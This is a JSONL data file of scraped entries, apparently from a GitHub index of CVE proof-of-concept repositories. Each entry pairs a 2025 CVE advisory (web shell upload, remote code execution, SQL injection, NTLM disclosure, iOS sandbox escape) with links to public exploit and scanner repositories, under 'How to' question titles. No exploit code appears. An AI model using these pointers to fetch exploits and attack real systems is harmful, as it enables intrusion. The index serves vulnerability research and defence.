{"id": "gh_dba851e2a6a1", "question": "How to: CVE-2025-23419 (2025-02-05)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nWhen multiple server blocks are configured to share the same IP address and port, an attacker can use session resumption to bypass client certificate authentication requirements on these servers. This vulnerability arises when  TLS Session Tickets https://nginx.org/en/docs/http/ngx_http_ssl_module.html#ssl_session_ticket_key  are used and/or the  SSL session cache https://nginx.org/en/docs/http/ngx_http_ssl_module.html#ssl_session_cache  are used in the default server and the default server is performing client certificate authentication.  \\n\\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n```\n- [harley-ghostie/safe-check-CVE-2025-23419](https://github.com/harley-ghostie/safe-check-CVE-2025-23419)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154611"}
{"id": "gh_2d0bf5d2f528", "question": "How to: CVE-2025-23922 (2025-01-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCross-Site Request Forgery (CSRF) vulnerability in Harsh iSpring Embedder allows Upload a Web Shell to a Web Server.This issue affects iSpring Embedder: from n/a through 1.0.\n```\n- [Nxploited/CVE-2025-23922](https://github.com/Nxploited/CVE-2025-23922)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154617"}
{"id": "gh_403a32cb01b1", "question": "How to: CVE-2025-23942 (2025-01-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnrestricted Upload of File with Dangerous Type vulnerability in NgocCode WP Load Gallery allows Upload a Web Shell to a Web Server. This issue affects WP Load Gallery: from n/a through 2.1.6.\n```\n- [Nxploited/CVE-2025-23942-poc](https://github.com/Nxploited/CVE-2025-23942-poc)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154622"}
{"id": "gh_f8ae40e3425b", "question": "How to: CVE-2025-23968 (2025-07-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnrestricted Upload of File with Dangerous Type vulnerability in WPCenter AiBud WP allows Upload a Web Shell to a Web Server.This issue affects AiBud WP: from n/a through 1.8.5.\n```\n- [d0n601/CVE-2025-23968](https://github.com/d0n601/CVE-2025-23968)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154626"}
{"id": "gh_0b7d51191a7d", "question": "How to: CVE-2025-24011 (2025-01-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUmbraco is a free and open source .NET content management system. Starting in version 14.0.0 and prior to versions 14.3.2 and 15.1.2, it's possible to determine whether an account exists based on an analysis of response codes and timing of Umbraco management API responses. Versions 14.3.2 and 15.1.2 contain a patch. No known workarounds are available.\n```\n- [Puben/CVE-2025-24011-PoC](https://github.com/Puben/CVE-2025-24011-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154631"}
{"id": "gh_c4107f3cbe60", "question": "How to: CVE-2025-24016 (2025-02-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nWazuh is a free and open source platform used for threat prevention, detection, and response. Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability allows for remote code execution on Wazuh servers. DistributedAPI parameters are a serialized as JSON and deserialized using `as_wazuh_object` (in `framework/wazuh/core/cluster/common.py`). If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code. The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh servers in the cluster) or, in certain configurations, even by a compromised agent. Version 4.9.1 contains a fix.\n```\n- [huseyinstif/CVE-2025-24016-Nuclei-Template](https://github.com/huseyinstif/CVE-2025-24016-Nuclei-Template)\n- [0xjessie21/CVE-2025-24016](https://github.com/0xjessie21/CVE-2025-24016)\n- [MuhammadWaseem29/CVE-2025-24016](https://github.com/MuhammadWaseem29/CVE-2025-24016)\n- [GloStarRx1/CVE-2025-24016](https://github.com/GloStarRx1/CVE-2025-24016)\n- [celsius026/poc_CVE-2025-24016](https://github.com/celsius026/poc_CVE-2025-24016)\n- [cybersecplayground/CVE-2025-24016-Wazuh-Remote-Code-Execution-RCE-PoC](https://github.com/cybersecplayground/CVE-2025-24016-Wazuh-Remote-Code-Execution-RCE-PoC)\n- [rxerium/CVE-2025-24016](https://github.com/rxerium/CVE-2025-24016)\n- [Ashwesker/Ashwesker-CVE-2025-24016](https://github.com/Ashwesker/Ashwesker-CVE-2025-24016)\n- [guinea-offensive-security/Wazuh-RCE](https://github.com/guinea-offensive-security/Wazuh-RCE)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154637"}
{"id": "gh_7d3c5c018dee", "question": "How to: CVE-2025-24035 (2025-03-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSensitive data storage in improperly locked memory in Windows Remote Desktop Services allows an unauthorized attacker to execute code over a network.\n```\n- [MSeymenD/cve-2025-24035-rds-websocket-dos-test](https://github.com/MSeymenD/cve-2025-24035-rds-websocket-dos-test)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154642"}
{"id": "gh_7280e9338446", "question": "How to: CVE-2025-24054 (2025-03-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nExternal control of file name or path in Windows NTLM allows an unauthorized attacker to perform spoofing over a network.\n```\n- [basekilll/CVE-2025-24054_PoC](https://github.com/basekilll/CVE-2025-24054_PoC)\n- [helidem/CVE-2025-24054_CVE-2025-24071-PoC](https://github.com/helidem/CVE-2025-24054_CVE-2025-24071-PoC)\n- [S4mma3l/CVE-2025-24054](https://github.com/S4mma3l/CVE-2025-24054)\n- [moften/CVE-2025-24054](https://github.com/moften/CVE-2025-24054)\n- [Yuri08loveElaina/CVE-2025-24054_POC](https://github.com/Yuri08loveElaina/CVE-2025-24054_POC)\n- [Untouchable17/CVE-2025-24054](https://github.com/Untouchable17/CVE-2025-24054)\n- [WhiteDominion/CVE-2025-24054_CVE-2025-24071-PoC](https://github.com/WhiteDominion/CVE-2025-24054_CVE-2025-24071-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154647"}
{"id": "gh_55a77f89f590", "question": "How to: CVE-2025-24071 (2025-03-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nExposure of sensitive information to an unauthorized actor in Windows File Explorer allows an unauthorized attacker to perform spoofing over a network.\n```\n- [0x6rss/CVE-2025-24071_PoC](https://github.com/0x6rss/CVE-2025-24071_PoC)\n- [FOLKS-iwd/CVE-2025-24071-msfvenom](https://github.com/FOLKS-iwd/CVE-2025-24071-msfvenom)\n- [aleongx/CVE-2025-24071](https://github.com/aleongx/CVE-2025-24071)\n- [ctabango/CVE-2025-24071_PoCExtra](https://github.com/ctabango/CVE-2025-24071_PoCExtra)\n- [ThemeHackers/CVE-2025-24071](https://github.com/ThemeHackers/CVE-2025-24071)\n- [rubbxalc/CVE-2025-24071](https://github.com/rubbxalc/CVE-2025-24071)\n- [Marcejr117/CVE-2025-24071_PoC](https://github.com/Marcejr117/CVE-2025-24071_PoC)\n- [cesarbtakeda/Windows-Explorer-CVE-2025-24071](https://github.com/cesarbtakeda/Windows-Explorer-CVE-2025-24071)\n- [pswalia2u/CVE-2025-24071_POC](https://github.com/pswalia2u/CVE-2025-24071_POC)\n- [f4dee-backup/CVE-2025-24071](https://github.com/f4dee-backup/CVE-2025-24071)\n- [LOOKY243/CVE-2025-24071-PoC](https://github.com/LOOKY243/CVE-2025-24071-PoC)\n- [ex-cal1bur/SMB_CVE-2025-24071](https://github.com/ex-cal1bur/SMB_CVE-2025-24071)\n- [TH-SecForge/CVE-2025-24071](https://github.com/TH-SecForge/CVE-2025-24071)\n- [Ashwesker/Ashwesker-CVE-2025-24071](https://github.com/Ashwesker/Ashwesker-CVE-2025-24071)\n- [DeshanFer94/CVE-2025-24071-POC-NTLMHashDisclosure-](https://github.com/DeshanFer94/CVE-2025-24071-POC-NTLMHashDisclosure-)\n- [Royall-Researchers/CVE-2025-24071](https://github.com/Royall-Researchers/CVE-2025-24071)\n- [ephunter/CVE-2025-24071-Exploit](https://github.com/ephunter/CVE-2025-24071-Exploit)\n- [AC8999/CVE-2025-24071](https://github.com/AC8999/CVE-2025-24071)\n- [Abdelrahman0Sayed/CVE-2025-24071](https://github.com/Abdelrahman0Sayed/CVE-2025-24071)\n- [fsoc-ghost-0x/Fsociety-CVE-2025-24071-NTLM-Coercion](https://github.com/fsoc-ghost-0x/Fsociety-CVE-2025-24071-NTLM-Coercion)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154653"}
{"id": "gh_58e4eea33844", "question": "How to: CVE-2025-24076 (2025-03-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper access control in Windows Cross Device Service allows an authorized attacker to elevate privileges locally.\n```\n- [mbanyamer/CVE-2025-24076](https://github.com/mbanyamer/CVE-2025-24076)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154657"}
{"id": "gh_3b498f5be2f2", "question": "How to: CVE-2025-24085 (2025-01-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA use after free issue was addressed with improved memory management. This issue is fixed in visionOS 2.3, iOS 18.3 and iPadOS 18.3, macOS Sequoia 15.3, watchOS 11.3, tvOS 18.3. A malicious application may be able to elevate privileges. Apple is aware of a report that this issue may have been actively exploited against versions of iOS before iOS 17.2.\n```\n- [JGoyd/Glass-Cage-iOS18-CVE-2025-24085-CVE-2025-24201](https://github.com/JGoyd/Glass-Cage-iOS18-CVE-2025-24085-CVE-2025-24201)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154662"}
{"id": "gh_a535cd8ae684", "question": "How to: CVE-2025-24091 (2025-04-30)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn app could impersonate system notifications. Sensitive notifications now require restricted entitlements. This issue is fixed in iOS 18.3 and iPadOS 18.3, iPadOS 17.7.3. An app may be able to cause a denial-of-service.\n```\n- [rooootdev/evilnotify](https://github.com/rooootdev/evilnotify)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154666"}
{"id": "gh_e72f6a7714d8", "question": "How to: CVE-2025-24104 (2025-01-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThis issue was addressed with improved handling of symlinks. This issue is fixed in iPadOS 17.7.4, iOS 18.3 and iPadOS 18.3. Restoring a maliciously crafted backup file may lead to modification of protected system files.\n```\n- [ifpdz/CVE-2025-24104](https://github.com/ifpdz/CVE-2025-24104)\n- [missaels235/POC-CVE-2025-24104-Py](https://github.com/missaels235/POC-CVE-2025-24104-Py)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154672"}
{"id": "gh_294769df61a1", "question": "How to: CVE-2025-24118 (2025-01-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe issue was addressed with improved memory handling. This issue is fixed in iPadOS 17.7.4, macOS Sequoia 15.3, macOS Sonoma 14.7.3. An app may be able to cause unexpected system termination or write kernel memory.\n```\n- [jprx/CVE-2025-24118](https://github.com/jprx/CVE-2025-24118)\n- [rawtips/-CVE-2025-24118](https://github.com/rawtips/-CVE-2025-24118)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154679"}
{"id": "gh_4e3bc4ef5ad3", "question": "How to: CVE-2025-24132 (2025-04-30)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe issue was addressed with improved memory handling. This issue is fixed in AirPlay audio SDK 2.7.1, AirPlay video SDK 3.6.0.126, CarPlay Communication Plug-in R18.1. An attacker on the local network may cause an unexpected app termination.\n```\n- [Feralthedogg/CVE-2025-24132-Scanner](https://github.com/Feralthedogg/CVE-2025-24132-Scanner)\n- [TheGamingGallifreyan/Airborne-CVE-2025-24132-Research](https://github.com/TheGamingGallifreyan/Airborne-CVE-2025-24132-Research)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154684"}
{"id": "gh_db398dbc9961", "question": "How to: CVE-2025-24201 (2025-03-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn out-of-bounds write issue was addressed with improved checks to prevent unauthorized actions. This issue is fixed in visionOS 2.3.2, iOS 18.3.2 and iPadOS 18.3.2, macOS Sequoia 15.3.2, Safari 18.3.1, watchOS 11.4, iPadOS 17.7.6, iOS 16.7.11 and iPadOS 16.7.11, iOS 15.8.4 and iPadOS 15.8.4. Maliciously crafted web content may be able to break out of Web Content sandbox. This is a supplementary fix for an attack that was blocked in iOS 17.2. (Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals on versions of iOS before iOS 17.2.).\n```\n- [The-Maxu/CVE-2025-24201-WebKit-Vulnerability-Detector-PoC-](https://github.com/The-Maxu/CVE-2025-24201-WebKit-Vulnerability-Detector-PoC-)\n- [5ky9uy/glass-cage-i18-2025-24085-and-cve-2025-24201](https://github.com/5ky9uy/glass-cage-i18-2025-24085-and-cve-2025-24201)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154689"}
{"id": "gh_647e8c2c8cb4", "question": "How to: CVE-2025-24203 (2025-03-31)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe issue was addressed with improved checks. This issue is fixed in macOS Ventura 13.7.5, iPadOS 17.7.6, macOS Sequoia 15.4, macOS Sonoma 14.7.5, iOS 18.4 and iPadOS 18.4, tvOS 18.4, visionOS 2.4, watchOS 11.4. An app may be able to modify protected parts of the file system.\n```\n- [jailbreakdotparty/dirtyZero](https://github.com/jailbreakdotparty/dirtyZero)\n- [GeoSn0w/CVE-2025-24203-iOS-Exploit-With-Error-Logging](https://github.com/GeoSn0w/CVE-2025-24203-iOS-Exploit-With-Error-Logging)\n- [pxx917144686/iDevice_ZH](https://github.com/pxx917144686/iDevice_ZH)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154694"}
{"id": "gh_8a6d40163d7a", "question": "How to: CVE-2025-24204 (2025-03-31)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe issue was addressed with improved checks. This issue is fixed in macOS Sequoia 15.4. An app may be able to access protected user data.\n```\n- [FFRI/CVE-2025-24204](https://github.com/FFRI/CVE-2025-24204)\n- [34306/decrypted](https://github.com/34306/decrypted)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154698"}
{"id": "gh_acdcc07325fa", "question": "How to: CVE-2025-24252 (2025-04-29)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA use-after-free issue was addressed with improved memory management. This issue is fixed in macOS Sequoia 15.4, tvOS 18.4, macOS Ventura 13.7.5, iPadOS 17.7.6, macOS Sonoma 14.7.5, iOS 18.4 and iPadOS 18.4, visionOS 2.4. An attacker on the local network may be able to corrupt process memory.\n```\n- [ekomsSavior/AirBorne-PoC](https://github.com/ekomsSavior/AirBorne-PoC)\n- [cakescats/airborn-IOS-CVE-2025-24252](https://github.com/cakescats/airborn-IOS-CVE-2025-24252)\n- [Ashwesker/Ashwesker-CVE-2025-24252](https://github.com/Ashwesker/Ashwesker-CVE-2025-24252)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154703"}
{"id": "gh_b1e3f62bd8f4", "question": "How to: CVE-2025-24271 (2025-04-29)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn access issue was addressed with improved access restrictions. This issue is fixed in macOS Sequoia 15.4, tvOS 18.4, macOS Ventura 13.7.5, iPadOS 17.7.6, macOS Sonoma 14.7.5, iOS 18.4 and iPadOS 18.4, visionOS 2.4. An unauthenticated user on the same network as a signed-in Mac could send it AirPlay commands without pairing.\n```\n- [moften/CVE-2025-24271](https://github.com/moften/CVE-2025-24271)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154707"}
{"id": "gh_1622dd99b724", "question": "How to: CVE-2025-24293", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [usutani/study-turbolinks-link](https://github.com/usutani/study-turbolinks-link)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154711"}
{"id": "gh_df3f4f6a4eaa", "question": "How to: CVE-2025-24354 (2025-01-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nimgproxy is server for resizing, processing, and converting images. Imgproxy does not block the 0.0.0.0 address, even with IMGPROXY_ALLOW_LOOPBACK_SOURCE_ADDRESSES set to false. This can expose services on the local host. This vulnerability is fixed in 3.27.2.\n```\n- [Admin9961/CVE-2025-24354-PoC](https://github.com/Admin9961/CVE-2025-24354-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154715"}
{"id": "gh_04c3f3210cfe", "question": "How to: CVE-2025-24367 (2025-01-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCacti is an open source performance and fault management framework. An authenticated Cacti user can abuse graph creation and graph template functionality to create arbitrary PHP scripts in the web root of the application, leading to remote code execution on the server. This vulnerability is fixed in 1.2.29.\n```\n- [TheCyberGeek/CVE-2025-24367-Cacti-PoC](https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC)\n- [r0tn3x/CVE-2025-24367](https://github.com/r0tn3x/CVE-2025-24367)\n- [SoftAndoWetto/CVE-2025-24367-PoC-Cacti](https://github.com/SoftAndoWetto/CVE-2025-24367-PoC-Cacti)\n- [matesz44/CVE-2025-24367](https://github.com/matesz44/CVE-2025-24367)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154722"}
{"id": "gh_18aedbf22b3e", "question": "How to: CVE-2025-24514 (2025-03-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA security issue was discovered in  ingress-nginx https://github.com/kubernetes/ingress-nginx  where the `auth-url` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n```\n- [KimJuhyeong95/cve-2025-24514](https://github.com/KimJuhyeong95/cve-2025-24514)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154727"}
{"id": "gh_874e194ea9aa", "question": "How to: CVE-2025-24587 (2025-01-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in I Thirteen Web Solution Email Subscription Popup allows Blind SQL Injection. This issue affects Email Subscription Popup: from n/a through 1.2.23.\n```\n- [DoTTak/CVE-2025-24587](https://github.com/DoTTak/CVE-2025-24587)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154731"}
{"id": "gh_5ddaf79fc5b2", "question": "How to: CVE-2025-24659 (2025-01-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WordPress Download Manager Premium Packages allows Blind SQL Injection. This issue affects Premium Packages: from n/a through 5.9.6.\n```\n- [DoTTak/CVE-2025-24659](https://github.com/DoTTak/CVE-2025-24659)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154735"}
{"id": "gh_317c947190a0", "question": "How to: CVE-2025-24752 (2025-04-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPDeveloper Essential Addons for Elementor allows Reflected XSS. This issue affects Essential Addons for Elementor: from n/a through 6.0.14.\n```\n- [Sachinart/essential-addons-for-elementor-xss-poc](https://github.com/Sachinart/essential-addons-for-elementor-xss-poc)\n- [bartfroklage/CVE-2025-24752-POC](https://github.com/bartfroklage/CVE-2025-24752-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154740"}
{"id": "gh_c7d002301bd4", "question": "How to: CVE-2025-24797 (2025-04-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nMeshtastic is an open source mesh networking solution. A fault in the handling of mesh packets containing invalid protobuf data can result in an attacker-controlled buffer overflow, allowing an attacker to hijack execution flow, potentially resulting in remote code execution. This attack does not require authentication or user interaction, as long as the target device rebroadcasts packets on the default channel. This vulnerability fixed in 2.6.2.\n```\n- [Alainx277/CVE-2025-24797](https://github.com/Alainx277/CVE-2025-24797)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154744"}
{"id": "gh_5e411d386f89", "question": "How to: CVE-2025-24799 (2025-03-18)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nGLPI is a free asset and IT management software package. An unauthenticated user can perform a SQL injection through the inventory endpoint. This vulnerability is fixed in 10.0.18.\n```\n- [MuhammadWaseem29/CVE-2025-24799](https://github.com/MuhammadWaseem29/CVE-2025-24799)\n- [MatheuZSecurity/Exploit-CVE-2025-24799](https://github.com/MatheuZSecurity/Exploit-CVE-2025-24799)\n- [Rosemary1337/CVE-2025-24799](https://github.com/Rosemary1337/CVE-2025-24799)\n- [airbus-cert/CVE-2025-24799-scanner](https://github.com/airbus-cert/CVE-2025-24799-scanner)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154749"}
{"id": "gh_8517ec6ff2cc", "question": "How to: CVE-2025-24801 (2025-03-18)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nGLPI is a free asset and IT management software package. An authenticated user can upload and force the execution of *.php files located on the GLPI server. This vulnerability is fixed in 10.0.18.\n```\n- [r1beirin/Exploit-CVE-2025-24801](https://github.com/r1beirin/Exploit-CVE-2025-24801)\n- [fatkz/CVE-2025-24801](https://github.com/fatkz/CVE-2025-24801)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154754"}
{"id": "gh_41a768a7e543", "question": "How to: CVE-2025-24813 (2025-03-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nPath Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat.\\n\\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.2, from 10.1.0-M1 through 10.1.34, from 9.0.0.M1 through 9.0.98.\\nThe following versions were EOL at the time the CVE was created but are \\nknown to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions \\nmay also be affected.\\n\\n\\nIf all of the following were true, a malicious user was able to view       security sensitive files and/or inject content into those files:\\n- writes enabled for the default servlet (disabled by default)\\n- support for partial PUT (enabled by default)\\n- a target URL for security sensitive uploads that was a sub-directory of a target URL for public uploads\\n- attacker knowledge of the names of security sensitive files being uploaded\\n- the security sensitive files also being uploaded via partial PUT\\n\\nIf all of the following were true, a malicious user was able to       perform remote code execution:\\n- writes enabled for the default servlet (disabled by default)\\n- support for partial PUT (enabled by default)\\n- application was using Tomcat's file based session persistence with the default storage location\\n- application included a library that may be leveraged in a deserialization attack\\n\\nUsers are recommended to upgrade to version 11.0.3, 10.1.35 or 9.0.99, which fixes the issue.\n```\n- [iSee857/CVE-2025-24813-PoC](https://github.com/iSee857/CVE-2025-24813-PoC)\n- [N0c1or/CVE-2025-24813_POC](https://github.com/N0c1or/CVE-2025-24813_POC)\n- [gregk4sec/CVE-2025-24813](https://github.com/gregk4sec/CVE-2025-24813)\n- [absholi7ly/POC-CVE-2025-24813](https://github.com/absholi7ly/POC-CVE-2025-24813)\n- [qzy0x/cve-2025-24813_poc](https://github.com/qzy0x/cve-2025-24813_poc)\n- [charis3306/CVE-2025-24813](https://github.com/charis3306/CVE-2025-24813)\n- [imbas007/CVE-2025-24813-apache-tomcat](https://github.com/imbas007/CVE-2025-24813-apache-tomcat)\n- [msadeghkarimi/CVE-2025-24813-Exploit](https://github.com/msadeghkarimi/CVE-2025-24813-Exploit)\n- [michael-david-fry/Apache-Tomcat-Vulnerability-POC-CVE-2025-24813](https://github.com/michael-david-fry/Apache-Tomcat-Vulnerability-POC-CVE-2025-24813)\n- [ps-interactive/lab-cve-2025-24813](https://github.com/ps-interactive/lab-cve-2025-24813)\n- 